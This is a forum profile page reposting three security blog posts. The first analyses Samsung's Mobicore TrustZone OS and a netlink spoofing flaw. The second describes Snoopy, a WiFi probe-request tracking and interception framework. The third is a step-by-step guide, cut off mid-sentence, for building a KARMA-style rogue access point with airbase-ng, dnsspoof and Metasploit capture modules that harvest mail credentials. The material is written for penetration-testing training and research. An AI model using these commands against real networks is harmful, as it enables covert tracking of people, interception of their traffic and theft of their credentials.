Jump to content

Nytro

Administrators
  • Posts

    18753
  • Joined

  • Last visited

  • Days Won

    726

Everything posted by Nytro

  1. A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone Tags: mobile, programming, public, python — behrang @ 13:35 Introduction: New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques. In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver. Mobicore OS : The Samsung Galaxy S III was the first mobile phone that utilized ARM TrustZone feature to host and run a secure micro-kernel on the application processor. This kernel named Mobicore is isolated from the handset's Android operating system in the CPU design level. Mobicore is a micro-kernel developed by Giesecke & Devrient GmbH (G&D) which uses TrustZone security extension of ARM processors to create a secure program execution and data storage environment which sits next to the rich operating system (Android, Windows , iOS) of the Mobile phone or tablet. The following figure published by G&D demonstrates Mobicore's architecture : Overview of Mobicore (courtesy of G&D) A TrustZone enabled processor provides "Hardware level Isolation" of the above "Normal World" (NWd) and "Secure World" (SWd) , meaning that the "Secure World" OS (Mobicore) and programs running on top of it are immune against software attacks from the "Normal World" as well as wide range of hardware attacks on the chip. This forms a "trusted execution environment" (TEE) for security critical application such as digital wallets, electronic IDs, Digital Rights Management and etc. The non-critical part of those applications such as the user interface can run in the "Normal World" operating system while the critical code, private encryption keys and sensitive I/O operations such as "PIN code entry by user" are handled by the "Secure World". By doing so, the application and its sensitive data would be protected against unauthorized access even if the "Normal World" operating system was fully compromised by the attacker, as he wouldn't be able to gain access to the critical part of the application which is running in the secure world. Mobicore API: The security critical applications that run inside Mobicore OS are referred to as trustlets and are developed by third-parties such as banks and content providers. The trustlet software development kit includes library files to develop, test and deploy trustlets as well as Android applications that communicate with relevant trustlets via Mobicore API for Android. Trustlets need to be encrypted, digitally signed and then remotely provisioned by G&D on the target mobile phone(s). Mobicore API for Android consists of the following 3 components: 1) Mobicore client library located at /system/lib/libMcClient.so: This is the library file used by Android OS or Dalvik applications to establish communication sessions with trustlets on the secure world 2) Mobicore Daemon located at /system/bin/mcDriverDaemon: This service proxies Mobicore commands and responses between NWd and SWd via Mobicore device driver 3) Mobicore device driver: Registers /dev/mobicore device and performs ARM Secure Monitor Calls (SMC) to switch the context from NWd to SWd The source code for the above components can be downloaded from Google Code. I enabled the verbose debug messages in the kernel driver and recompiled a Samsung S3 kernel image for the purpose of this analysis. Please note that you need to download the relevant kernel source tree and stock ROM for your S3 phone kernel build number which can be found in "Settings->About device". After compiling the new zImage file, you would need to insert it into a custom ROM and flash your phone. To build the custom ROM I used "Android ROM Kitchen 0.217" which has the option to unpack zImage from the stock ROM, replace it with the newly compiled zImage and pack it again. By studying the source code of the user API library and observing debug messages from the kernel driver, I figured out the following data flow between the android OS and Mobicore to establish a session and communicate with a trustlet: 1) Android application calls mcOpenDevice() API which cause the Mobicore Daemon (/system/bin/mcDriverDaemon) to open a handle to /dev/mobicore misc device. 2) It then allocates a "Worlds share memory" (WSM) buffer by calling mcMallocWsm() that cause the Mobicore kernel driver to allocate wsm buffer with the requested size and map it to the user space application process. This shared memory buffer would later be used by the android application and trustlet to exchange commands and responses. 3) The mcOpenSession() is called with the UUID of the target trustlet (10 bytes value, for instance : ffffffff000000000003 for PlayReady DRM truslet) and allocate wsm address to establish a session with the target trustlet through the allocated shared memory. 4) Android applications have the option to attach additional memory buffers (up to 6 with maximum size of 1MB each) to the established session by calling mcMap() API. In case of PlayReady DRM trustlet which is used by the Samsung VideoHub application, two additional buffers are attached: one for sending and receiving the parameters and the other for receiving trustlet's text output. 5) The application copies the command and parameter types to the WSM along with the parameter values in second allocated buffer and then calls mcNotify() API to notify the Mobicore that a pending command is waiting in the WSM to be dispatched to the target trustlet. 6) The mcWaitNotification() API is called with the timeout value which blocks until a response received from the trustlet. If the response was not an error, the application can read trustlets' returned data, output text and parameter values from WSM and the two additional mapped buffers. 7) At the end of the session the application calls mcUnMap, mcFreeWsm and mcCloseSession . The Mobicore kernel driver is the only component in the android operating system that interacts directly with Mobicore OS by use of ARM CPU's SMC instruction and Secure Interrupts . The interrupt number registered by Mobicore kernel driver in Samsung S3 phone is 47 that could be different for other phone or tablet boards. The Mobicore OS uses the same interrupt to notify the kernel driver in android OS when it writes back data. Analysis of a Mobicore session: There are currently 5 trustlets pre-loaded on the European S3 phones as listed below: shell@android:/ # ls /data/app/mcRegistry 00060308060501020000000000000000.tlbin 02010000080300030000000000000000.tlbin 07010000000000000000000000000000.tlbin ffffffff000000000000000000000003.tlbin ffffffff000000000000000000000004.tlbin ffffffff000000000000000000000005.tlbin The 07010000000000000000000000000000.tlbin is the "Content Management" trustlet which is used by G&D to install/update other trustlets on the target phones. The 00060308060501020000000000000000.tlbin and ffffffff000000000000000000000003.tlbin are DRM related truslets developed by Discretix. I chose to analyze PlayReady DRM trustlet (ffffffff000000000000000000000003.tlbin), as it was used by the Samsung videohub application which is pre-loaded on the European S3 phones. The videohub application dose not directly communicate with PlayReady trustlet. Instead, the Android DRM manager loads several DRM plugins including libdxdrmframeworkplugin.so which is dependent on libDxDrmServer.so library that makes Mobicore API calls. Both of these libraries are closed source and I had to perform dynamic analysis to monitor communication between libDxDrmServer.so and PlayReady trustlet. For this purpose, I could install API hooks in android DRM manager process (drmserver) and record the parameter values passed to Mobicore user library (/system/lib/libMcClient.so) by setting LD_PRELOAD environment variable in the init.rc script and flash my phone with the new ROM. I found this approach unnecessary, as the source code for Mobicore user library was available and I could add simple instrumentation code to it which saves API calls and related world shared memory buffers to a log file. In order to compile such modified Mobicore library, you would need to the place it under the Android source code tree on a 64 bit machine (Android 4.1.1 requires 64 bit machine to compile) with 30 GB disk space. To save you from this trouble, you can download a copy of my Mobicore user library from here. You need to create the empty log file at /data/local/tmp/log and replace this instrumented library with the original file (DO NOT FORGET TO BACKUP THE ORIGINAL FILE). If you reboot the phone, the Mobicore session between Android's DRM server and PlayReady trustlet will be logged into /data/local/tmp/log. A sample of such session log is shown below: The content and address of the shared world memory and two additional mapped buffers are recorded in the above file. The command/response format in wsm buffer is very similar to APDU communication in smart card applications and this is not a surprise, as G&D has a long history in smart card technology. The next step is to interpret the command/response data, so that we can manipulate them later and observe the trustlet behavior. The trustlet's output in text format together with inspecting the assembly code of libDxDrmServer.so helped me to figure out the PlayReady trustlet command and response format as follows: client command (wsm) : 08022000b420030000000001000000002500000028023000300000000500000000000000000000000000b0720000000000000000 client parameters (mapped buffer 1): 8f248d7e3f97ee551b9d3b0504ae535e45e99593efecd6175e15f7bdfd3f5012e603d6459066cc5c602cf3c9bf0f705b trustlet response (wsm):08022000b420030000000081000000002500000028023000300000000500000000000000000000000000b0720000000000000000 trustltlet text output (mapped buffer 2): ================================================== SRVXInvokeCommand command 1000000 hSession=320b4 SRVXInvokeCommand. command = 0x1000000 nParamTypes=0x25 SERVICE_DRM_BBX_SetKeyToOemContext - pPrdyServiceGlobalContext is 32074 SERVICE_DRM_BBX_SetKeyToOemContext cbKey=48 SERVICE_DRM_BBX_SetKeyToOemContext type=5 SERVICE_DRM_BBX_SetKeyToOemContext iExpectedSize match real size=48 SERVICE_DRM_BBX_SetKeyToOemContext preparing local buffer DxDecryptAsset start - iDatatLen=32, pszInData=0x4ddf4 pszIntegrity=0x4dde4 DxDecryptAsset calling Oem_Aes_SetKey DxDecryptAsset calling DRM_Aes_CtrProcessData DxDecryptAsset calling DRM_HMAC_CreateMAC iDatatLen=32 DxDecryptAsset after calling DRM_HMAC_CreateMAC DxDecryptAsset END SERVICE_DRM_BBX_SetKeyToOemContext calling DRM_BBX_SetKeyToOemContext SRVXInvokeCommand.id=0x1000000 res=0x0 ============================================== By mapping the information disclosed in the trustlet text output to the client command the following format was derived: 08022000 : virtual memory address of the text output buffer in the secure world (little endian format of 0x200208) b4200300 : PlayReady session ID 00000001: Command ID (0x1000000) 00000000: Error code (0x0 = no error, is set by truslet after mcWaitNotification) 25000000: Parameter type (0x25) 28023000: virtual memory address of the parameters buffer in the secure world (little endian format of 0x300228) 30000000: Parameters length in bytes (0x30, encrypted key length) 05000000: encryption key type (0x5) The trustlet receives client supplied memory addresses as input data which could be manipulated by an attacker. We'll test this attack later. The captured PlayReady session involved 18 command/response pairs that correspond to the following high level diagram of PlayReady DRM algorithm published by G&D. I couldn't find more detailed specification of the PlayReady DRM on the MSDN or other web sites. But at this stage, I was not interested in the implementation details of the PlayReady schema, as I didn't want to attack the DRM itself, but wanted to find any exploitable issue such as a buffer overflow or memory disclosure in the trustlet. DRM Trustlet diagram (courtesy of G&D) Security Tests: I started by auditing the Mobicore daemon and kernel driver source code in order to find issues that can be exploited by an android application to attack other applications or result in code execution in the Android kernel space. I find one issue in the Mobicore kernel API which is designed to provide Mobicore services to other Android kernel components such as an IPSEC driver. The Mobicore driver registers Linux netLink server with id=17 which was intended to be called from the kernel space, however a Linux user space process can create a spoofed message using NETLINK sockets and send it to the Mobicore kernel driver netlink listener which as shown in the following figure did not check the PID of the calling process and as a result, any Android app could call Mobicore APIs with spoofed session IDs. The vulnerable code snippet from MobiCoreKernelApi/main.c is included below. An attacker would need to know the "sequence number" of an already established netlink connection between a kernel component such as IPSEC and Mobicore driver in order to exploit this vulnerability. This sequence numbers were incremental starting from zero but currently there is no kernel component on the Samsung phone that uses the Mobicore API, thus this issue was not a high risk. We notified the vendor about this issue 6 months ago but haven't received any response regarding the planned fix. The following figures demonstrate exploitation of this issue from an Android unprivileged process : Netlink message (seq=1) sent to Mobicore kernel driver from a low privileged process Unauthorised netlink message being processed by the Mobicore kernel driver In the next phase of my tests, I focused on fuzzing the PlayReady DRM trustlet that mentioned in the previous section by writing simple C programs which were linked with libMcClient.so and manipulating the DWORD values such as shared buffer virtual address. The following table summarises the results: [TABLE] [TR] [TD]wsm offset[/TD] [TD]Description[/TD] [TD]Results[/TD] [/TR] [TR] [TD]0[/TD] [TD]Memory address of the mapped output buffer in trustlet process (original value=0x08022000)[/TD] [TD]for values<0x8022000 the fuzzer crashed values >0x8022000 no errors[/TD] [/TR] [TR] [TD]41[/TD] [TD]memory address of the parameter mapped buffer in trusltet process (original value=0x28023000)[/TD] [TD]0x00001000<value<0x28023000 the fuzzer crashed value>=00001000 trustlet exits with "parameter refers to secure memory area" value>0x28023000 no errors[/TD] [/TR] [TR] [TD]49[/TD] [TD]Parameter length (encryption key or certificate file length)[/TD] [TD]For large numbers the trustlet exits with "malloc() failed" message[/TD] [/TR] [/TABLE] The fuzzer crash indicated that Mobicore micro-kernel writes memory addresses in the normal world beyond the shared memory buffer which was not a critical security issue, because it means that fuzzer can only attack itself and not other processes. The "parameter refers to secure memory area" message suggests that there is some sort of input validation implemented in the Mobicore OS or DRM trustlet that prevents normal world's access to mapped addresses other than shared buffers. I haven't yet run fuzzing on the parameter values itself such as manipulating PlayReady XML data elements sent from the client to the trustlet. However, there might be vulnerabilities in the PlayReady implementation that can be picked up by smarter fuzzing. Conclusion: We demonstrated that intercepting and manipulating the worlds share memory (WSM) data can be used to gain better knowledge about the internal workings of Mobicore trustlets. We believe that this method can be combined with the side channel measurements to perform blackbox security assessment of the mobile TEE applications. The context switching and memory sharing between normal and secure world could be subjected to side channel attacks in specific cases and we are focusing our future research on this area. - See more at: SensePost Blog
  2. At this year's 44Con conference (held in London) Daniel and I introduced a project we had been working on for the past few months. Snoopy, a distributed tracking and profiling framework, allowed us to perform some pretty interesting tracking and profiling of mobile users through the use of WiFi. The talk was well received (going on what people said afterwards) by those attending the conference and it was great to see so many others as excited about this as we have been. In addition to the research, we both took a different approach to the presentation itself. A 'no bullet points' approach was decided upon, so the slides themselves won't be that revealing. Using Steve Jobs as our inspiration, we wanted to bring back the fun to technical conferences, and our presentation hopefully represented that. As I type this, I have been reliably informed that the DVD, and subsequent videos of the talk, is being mastered and will be ready shortly. Once we have it, we will update this blog post. In the meantime, below is a description of the project. Background There have been recent initiatives from numerous governments to legalise the monitoring of citizens' Internet based communications (web sites visited, emails, social media) under the guise of anti-terrorism. Several private organisations have developed technologies claiming to facilitate the analysis of collected data with the goal of identifying undesirable activities. Whether such technologies are used to identify such activities, or rather to profile all citizens, is open to debate. Budgets, technical resources, and PhD level staff are plentiful in this sphere. Snoopy The above inspired the goal of the Snoopy project: with the limited time and resources of a few technical minds could we create our own distributed tracking and data interception framework with functionality for simple analysis of collected data? Rather than terrorist-hunting, we would perform simple tracking and real-time + historical profiling of devices and the people who own them. It is perhaps worth mentioning at this point that Snoopy is compromised of various existing technologies combined into one distributed framework. "Snoopy is a distributed tracking and profiling framework." Below is a diagram of the Snoopy architecture, which I'll elaborate on: 1. Distributed? Snoopy runs client side code on any Linux device that has support for wireless monitor mode / packet injection. We call these "drones" due to their optimal nature of being small, inconspicuous, and disposable. Examples of drones we used include the Nokia N900, Alfa R36 router, Sheeva plug, and the RaspberryPi. Numerous drones can be deployed over an area (say 50 all over London) and each device will upload its data to a central server. 2. WiFi? A large number of people leave their WiFi on. Even security savvy folk; for example at BlackHat I observed >5,000 devices with their WiFi on. As per the RFC documentation (i.e. not down to individual vendors) client devices send out 'probe requests' looking for networks that the devices have previously connected to (and the user chose to save). The reason for this appears to be two fold; (i) to find hidden APs (not broadcasting beacons) and (ii) to aid quick transition when moving between APs with the same name (e.g. if you have 50 APs in your organisation with the same name). Fire up a terminal and bang out this command to see these probe requests: tshark -n -i mon0 subtype probereq (where mon0 is your wireless device, in monitor mode) 2. Tracking? Each Snoopy drone collects every observed probe-request, and uploads it to a central server (timestamp, client MAC, SSID, GPS coordinates, and signal strength). On the server side client observations are grouped into 'proximity sessions' - i.e device 00:11:22:33:44:55 was sending probes from 11:15 until 11:45, and therefore we can infer was within proximity to that particular drone during that time. We now know that this device (and therefore its human) were at a certain location at a certain time. Given enough monitoring stations running over enough time, we can track devices/humans based on this information. 3. Passive Profiling? We can profile device owners via the network SSIDs in the captured probe requests. This can be done in two ways; simple analysis, and geo-locating. Simple analysis could be along the lines of "Hmm, you've previously connected to hooters, mcdonalds_wifi, and elCheapoAirlines_wifi - you must be an average Joe" vs "Hmm, you've previously connected to "BA_firstclass, ExpensiveResataurant_wifi, etc - you must be a high roller". Of more interest, we can potentially geo-locate network SSIDs to GPS coordinates via services like Wigle (whose database is populated via wardriving), and then from GPS coordinates to street address and street view photographs via Google. What's interesting here is that as security folk we've been telling users for years that picking unique SSIDs when using WPA[2] is a "good thing" because the SSID is used as a salt. A side-effect of this is that geo-locating your unique networks becomes much easier. Also, we can typically instantly tell where you work and where you live based on the network name (e.g BTBusinessHub-AB12 vs BTHomeHub-FG12). The result - you walk past a drone, and I get a street view photograph of where you live, work and play. 4. Rogue Access Points, Data Interception, MITM attacks? Snoopy drones have the ability to bring up rogue access points. That is to say, if your device is probing for "Starbucks", we'll pretend to be Starbucks, and your device will connect. This is not new, and dates back to Karma in 2005. The attack may have been ahead of its time, due to the far fewer number of wireless devices. Given that every man and his dog now has a WiFi enabled smartphone the attack is much more relevant. Snoopy differentiates itself with its rogue access points in the way data is routed. Your typical Pineapple, Silica, or various other products store all intercepted data locally, and mangles data locally too. Snoopy drones route all traffic via an OpenVPN connection to a central server. This has several implications: (i) We can observe traffic from *all* drones in the field at one point on the server. (ii) Any traffic manipulation needs only be done on the server, and not once per drone. (iii) Since each Drone hands out its own DHCP range, when observing network traffic on the server we see the source IP address of the connected clients (resulting in a unique mapping of MAC <-> IP <-> network traffic). (iv) Due to the nature of the connection, the server can directly access the client devices. We could therefore run nmap, Metasploit, etc directly from the server, targeting the client devices. This is a much more desirable approach as compared to running such 'heavy' software on the Drone (like the Pineapple, pr Pwnphone/plug would). (v) Due to the Drone not storing data or malicious tools locally, there is little harm if the device is stolen, or captured by an adversary. On the Snoopy server, the following is deployed with respect to web traffic: (i) Transparent Squid server - logs IP, websites, domains, and cookies to a database (ii) sslstrip - transparently hijacks HTTP traffic and prevent HTTPS upgrade by watching for HTTPS links and redirecting. It then maps those links into either look-alike HTTP links or homograph-similar HTTPS links. All credentials are logged to the database (thanks Ian & Junaid). (iii) mitmproxy.py - allows for arbitary code injection, as well as the use of self-signed SSL certificates. By default we inject some JavaScipt which profiles the browser to discern the browser version, what plugins are installed, etc (thanks Willem). Additionally, a traffic analysis component extracts and reassembles files. e.g. PDFs, VOiP calls, etc. (thanks Ian). 5. Higher Level Profiling? Given that we can intercept network traffic (and have clients' cookies/credentials/browsing habbits/etc) we can extract useful information via social media APIs. For example, we could retrieve all Facebook friends, or Twitter followers. 6. Data Visualization and Exploration? Snoopy has two interfaces on the server; a web interface (thanks Walter), and Maltego transforms. -The Web Interface The web interface allows basic data exploration, as well as mapping. The mapping part is the most interesting - it displays the position of Snoopy Drones (and client devices within proximity) over time. This is depicted below: -Maltego Maltego Radium has recently been released; and it is one awesome piece of kit for data exploration and visualisation.What's great about the Radium release is that you can combine multiple transforms together into 'machines'. A few example transformations were created, to demonstrate: 1. Devices Observed at both 44Con and BlackHat Vegas Here we depict devices that were observed at both 44Con and BlackHat Las Vegas, as well as the SSIDs they probed for. 2. Devices at 44Con, pruned Here we look at all devices and the SSIDs they probed for at 44Con. The pruning consisted of removing all SSIDs that only one client was looking for, or those for which more than 20 were probing for. This could reveal 'relationship' SSIDs. For example, if several people from the same company were attending- they could all be looking for their work SSID. In this case, we noticed the '44Con crew' network being quite popular. To further illustrate Snoopy we 'targeted' these poor chaps- figuring out where they live, as well as their Facebook friends (pulled from intercepted network traffic*). Snoopy Field Experiment We collected broadcast probe requests to create two main datasets. I collected data at BlackHat Vegas, and four of us sat in various London underground stations with Snoopy drones running for 2 hours. Furthermore, I sat at King's Cross station for 13 hours (!?) collecting data. Of course it may have made more sense to just deploy an unattended Sheeva plug, or hide a device with a large battery pack - but that could've resulted in trouble with the law (if spotted on CCTV). I present several graphs depicting the outcome from these trials: The pi chart below depicts the proportion of observed devices per vendor, from the total sample of 77,498 devices. It is interesting to see Apple's dominance. pi_chart The barchart below depicts the average number of broadcast SSIDs from a random sample of 100 devices per vendor (standard deviation bards need to be added - it was quite a spread). The barchart below depicts my day sitting at King's Cross station. The horizontal axis depicts chunks of time per hour, and the vertical access number of unique device observations. We clearly see the rush hours. Potential Use What could be done with Snoopy? There are likely legal, borderline, and illegal activities. Such is the case with any technology. Legal -Collecting anonymized statistics on thoroughfare. For example, Transport for London could deploy these devices at every London underground to get statistics on peak human traffic. This would allow them to deploy more staff, or open more pathways, etc. Such data over the period of months and years would likely be of use for future planning. -Penetration testers targeting clients to demonstrate the WiFi threat. Borderline -This type of technology could likely appeal to advertisers. For example, a reseller of a certain brand of jeans may note that persons who prefer certain technologies (e.g. Apple) frequent certain locations. -Companies could deploy Drones in one of each of their establishments (supermarkets, nightclubs, etc) to monitor user preference. E.g. a observing a migration of customers from one establishment to another after the deployment of certain incentives (e.g. promotions, new layout). -Imagine the Government deploying hundreds of Drones all over a city, and then having field agents with mobile Drones in their pockets. This could be a novel way to track down or follow criminals. The other side of the coin of course being that they track all of us... Illegal -Let's pretend we want to target David Beckham. We could attend several public events at which David is attending (Drone in pocket), ensuring we are within reasonable proximity to him. We would then look for overlap of commonly observed devices over time at all of these functions. Once we get down to one device observed via this intersection, we could assume the device belongs to David. Perhaps at this point we could bring up a rogue access point that only targets his device, and proceed maliciously from there. Or just satisfy ourselves by geolocating places he frequents. -Botnet infections, malware distribution. That doesn't sound very nice. Snoopy drones could be used to infect users' devices, either by injection malicious web traffic, or firing exploits from the Snoopy server at devices. -Unsolicited advertising. Imagine browsing the web, and an unscrupulous 3rd party injects viagra adverts at the top of every visited page? Similar tools Immunity's Stalker and Silica Hubert's iSniff GPS Snoopy in the Press Risky Biz Podcast Naked Scientist Podcast(transcript) The Register Fierce Broadband Wireless ***FAQ*** Q. But I use WPA2 at home, you can't hack me! A. True - if I pretend to be a WPA[2] network association it will fail. However, I bet your device is probing for at least one open network, and when I pretend to be that one I'll get you. Q. I use Apple/Android/Foobar - I'm safe! A. This attack is not dependent on device/manufacture. It's a function of the WiFi specification. The vast majority of observed devices were in fact Apple (>75%). Q. How can I protect myself? A. Turn off your WiFi when you l leave home/work. Be cautions about using it in public places too - especially on open networks (like Starbucks). A. On Android and on your desktop/laptop you can selectively remove SSIDs from your saved list. As for iPhones there doesn't seem to be option - please correct me if I'm wrong? A. It'd be great to write an application for iPhone/Android that turns off probe-requests, and will only send them if a beacon from a known network name is received. Q. Your research is dated and has been done before! A. Some of the individual components, perhaps. Having them strung together in our distributed configuration is new (AFAIK). Also, some original ideas where unfortunately published first; as often happens with these things. Q. But I turn off WiFi, you'll never get me! A. It was interesting to note how many people actually leave WiFi on. e.g. 30,000 people at a single London station during one day. WiFi is only one avenue of attack, look out for the next release using Bluetooth, GSM, NFC, etc Q. You're doing illegal things and you're going to jail! A. As mentioned earlier, the broadcast nature of probe-requests means no laws (in the UK) are being broken. Furthermore, I spoke to a BT Engineer at 44Con, and he told me that there's no copyright on SSID names - i.e. there's nothing illegal about pretending to be "BTOpenzone" or "SkyHome-AFA1". However, I suspect at the point where you start monitoring/modifying network traffic you may get in trouble. Interesting to note that in the USA a judge ruled that data interception on an open network is not illegal. Q. But I run iOS 5/6 and they say this is fixed!! A. Mark Wuergler of Immunity, Inc did find a flaw whereby iOS devices leaked info about the last 3 networks they had connected to. The BSSID was included in ARP requests, which meant anyone sniffing the traffic originating from that device would be privy to the addresses. Snoopy only looks at broadcast SSIDs at this stage - and so this fix is unrelated. We haven't done any tests with the latest iOS, but will update the blog when we have done so. Q. I want Snoopy! A. I'm working on it. Currently tidying up code, writing documentation, etc. Soon - See more at: SensePost Blog
  3. Rogue Access Points, a how-to Tags: blackhat, howto, public, wifi — dominic @ 13:11 In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the "unauthorised access points" Bob in Marketing bought and plugged into your internal network for his team to use. I'll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy. This is a fairly detailed "how-to" style blog entry that gives you a taste of what you can grab on our training course. Preparation First up, you'll need a wireless card that supports injection. The aircrack forums maintain a list. I'm using the Alfa AWUS036H. Students on our course each get one of these to keep. We buy them from Rokland who always give us great service. Second, you'll need a laptop running Kali. The instructions here are pretty much the same for BackTrack (deprecated, use Kali). For this setup, you won't need upstream internet connectivity. In many ways setting up a "mitm" style rogue AP is much easier, but it requires that you have upstream connectivity which means you have to figure out an upstream connection (if you want to be mobile this means buying data from a mobile provider) and prevents you from using your rogue in funny places like aeroplanes or data centres. We're going to keep things simple. Finally, you'll need to install some packages, I'll discuss those as we set each thing up. Overview We're going to string a couple of things together here: Access Point <-> routing & firewalling <-> DHCP <-> spoof services (DNS & mail) There are several ways you can do each of these depending on preference and equipment. I'll cover some alternatives, but here I'm going for quick and simple. Access Point Ideally, you should have a fancy wifi card with a Prism chipset that you can put into master mode, and have (digininja's karma patched) hostapd play nicely with. But, we don't have one of those, and will be using airbase-ng's soft ap capability. You won't get an AP that scales particularly well, or has decent throughput, or even guarantees that people can associate, but it's often good enough. For this section, we'll use a few tools: airbase-ng (via the aircrack-ng suite) macchanger iw You can install these with: apt-get install aircrack-ng macchanger iw First, let's practise some good opsec and randomise our MAC address, then, while we're at it, push up our transmit power. Assuming our wifi card has shown up as the device wlan0 (you can check with airmon-ng), we'll run: ifconfig wlan0 down macchanger -r wlan0 #randomise our MAC iw reg set BO #change our regulatory domain to something more permissive ifconfig wlan0 up iwconfig wlan0 txpower 30 #1Watt transmit power Right, now we can set up the AP using airbase. We have some options, with the biggest being whether you go for a KARMA style attack, or a point-network spoof. airmon-ng start wlan0 #Put our card into monitor mode airbase-ng -c6 -P -C20 -y -v mon0& #Set up our soft AP in karma mode #airbase-ng -c6 -e "Internet" -v mon0& #Alternatively, set up our soft AP for 1 net (no karma) Airbase has a couple of different ways to work. I'll explain the parameters: -c channel, check which channel is the least occupied with airodump -P (karma mode) respond to all probes i.e. if a victim's device is usually connects to the open network "Internet" it will probe to see if that network is nearby. Our AP will see the probe and helpfully respond. The device, not knowing that this isn't an ESS for the Internet network, will join our AP. -y don't respond to broadcast probes, aka the "is there anyone out there" shout of wifi. This helps in busy areas to reduce the AP's workload -C20 after a probed for network has been seen, send beacons with that network name out for 20 seconds afterwards. If you're having trouble connecting, increasing this can help, but not much -v be verbose -e "Internet" pretend to be a specific fake ESSID. Using airodump and monitoring for probed networks from your victim, and just pretending to be that network (i.e. drop -P and -y) can increase reliability for specific targets. If you're putting this into a script, make sure to background the airbase process (the &). At this point, you should have an AP up and running. Routing & IP Time There are lots of options here, you could bridge the AP and your upstream interface, you could NAT (NB you can't NAT from wifi to wifi). We're not using an upstream connection, so things are somewhat simpler, we're just going to give our AP an IP and add a route for it's network. It's all standard unix tools here. The basics: ifconfig at0 up 10.0.0.1 netmask 255.255.255.0 route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 echo '1' > /proc/sys/net/ipv4/ip_forward This is good enough for our no upstream AP, but if you wanted to use an upstream bridge, you could use the following alternates: apt-get install bridge-utils #To get the brctl tool, only run this once brctl addbr br0 brctl addif br0 eth0 #Assuming eth0 is your upstream interface brctl addif br0 at0 ifconfig br0 up If you wanted to NAT, you could use: iptables --policy INPUT ACCEPT #Good housekeeping, clean the tables first iptables --policy OUTPUT ACCEPT #Don't want to clear rules with a default DENY iptables --policy FORWARD ACCEPT iptables -t nat -F iptables -F #The actual NAT stuff iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE iptables -A FORWARD -i at0 -o eth0 -j ACCEPT Legitimate Services We need to have a fully functioning network, which requires some legitimate services. For our purposes, we only really need one, DHCP. Metasploit does have a dhcpd service, but it seems to have a few bugs. I'd recommend using the standard isc-dhcp-server in Kali which is rock solid. apt-get install isc-dhcp-server #Only run this once cat >> dhcpd.conf #We need to write the dhcp config file authoritative; subnet 10.0.0.0 netmask 255.255.255.0 { range 10.0.0.100 10.0.0.254; option routers 10.0.0.1; option domain-name-servers 10.0.0.1; }^D #If you chose this method of writing the file, hit Ctrl-D dhcpd -cf dhcpd.conf Evil Services We're going to cover three evil services here: DNS spoofing Captive portal detection avoidance Mail credential interception services DNS spoofing Once again, there are a couple of ways you can do DNS spoofing. The easiest is to use Dug Song's dnsspoof. An alternative would be to use metasploit's fakedns, but I find that makes the metasploit output rather noisy. Since there's no upstream, we'll just spoof all DNS queries to point back to us. apt-get install dsniff #Only run the first time cat >> dns.txt 10.0.0.1 * ^D #As in hit Ctrl-C dnsspoof -i at0 -f dns.txt& #Remember to background it if in a script Captive Portal Detection Avoidance Some OS's will try to detect whether they have internet access on first connecting to a network. Ostensibly, this is to figure out if there's a captive portal requiring login. The devices which do this are Apple, BlackBerry and Windows. Metasploit's http capture server has some buggy code to try and deal with this, that you could use, however, I find the cleanest way is to just use apache and create some simple vhosts. You can download the apache config from here. apt-get install apache2 wget http://www.sensepost.com/blogstatic/2013/07/apache-spoof_captive_portal.tar.gz cd / tar zcvf ~/apache-spoof_captive_portal.tar.gz service apache start This will create three vhosts (apple, blackberry & windows) that will help devices from those manufacturers believe they are on the internet. You can easily extend this setup to create fake capture pages for accounts.google.com, www.facebook.com, twitter.com etc. (students will get nice pre-prepared versions that write to msf's cred store). Because dnsspoof is pointing all queries back to our host, requests for Apple will hit our apache. Mail credential interception Next up, let's configure the mail interception. Here we're going to use metasploit's capture server. I'll show how this can be used for mail, but once you've got this up, it's pretty trivial to get the rest up too (ala karmetasploit). All we need to do, is create a resource script, then edit it with msfconsole: cat >> karma-mail.rc use auxiliary/server/capture/imap exploit -j use auxiliary/server/capture/pop3 exploit -j use auxiliary/server/capture/smtp exploit -j use auxiliary/server/capture/imap set SRVPORT 993 set SSL true exploit -j use auxiliary/server/capture/pop3 set SRVPORT 995 set SSL true exploit -j use auxiliary/server/capture/smtp set SRVPORT 465 set SSL true exploit -j ^D #In case you're just joining us, yes that's a Ctrl-D msfconsole -r mail-karma.rc #Fire it up This will create six services listening on six different ports. Three plain text services for IMAP, POP3, and SMTP, and three SSL enabled versions (although, this won't cover services using STARTTLS). Metasploit will generate random certificates for the SSL. If you want to be smart about it, you can use your own certificates (or CJR's auxiliar/gather/impersonate_ssl). Once again, because dnsspoof is pointing everything at us, we can just wait for connections to be initiated. Depending on the device being used, user's usually get some sort of cert warning (if your cert isn't trusted). Apple devices give you a fairly big obvious warning, but if you click it once, it will permanently accept the cert and keep sending you creds, even when the phone is locked (yay). Metasploit will proudly display them in your msfconsole session. For added certainty, set up a db so the creds command will work nicely. Protections When doing this stuff, it's interesting to see just how confusing the various warnings are from certain OS'es and how even security people get taken sometimes. To defend yourself, do the following: Don't join "open" wifi networks. These get added to your PNL and probed for when you move around, and sometimes hard to remove later. Remove open wifi networks from your remembered device networks. iOS in particular makes it really hard to figure out which open networks it's saved and are probing for. You can use something like airbase to figure that out (beacon out for 60s e.g.) and tell the phone to "forget this network". Use SSL and validate the *exact* certificate you expect. For e.g. my mail client will only follow through with it's SSL negotiation if the *exact* certificate it's expecting is presented. If I join a network like this, it will balk at the fake certificate without prompting. It's easy, when you're in a rush and not thinking, to click other devices "Continue" button. Conclusion By this point, you should have a working rogue AP setup, that will aggressively pursue probed for networks (ala KARMA) and intercept mail connections to steal the creds. You can run this thing anywhere there are mobile devices (like the company canteen) and it's a fairly cheap way to grab credentials of a target organisation. This setup is also remarkably easy to extend to other uses. We briefly looked at using bridging or NAT'ting to create a mitm rogue AP, and I mentioned the other metasploit capture services as obvious extensions. You can also throw in tools like sslstrip/sslsniff. If you'd like to learn more about this and 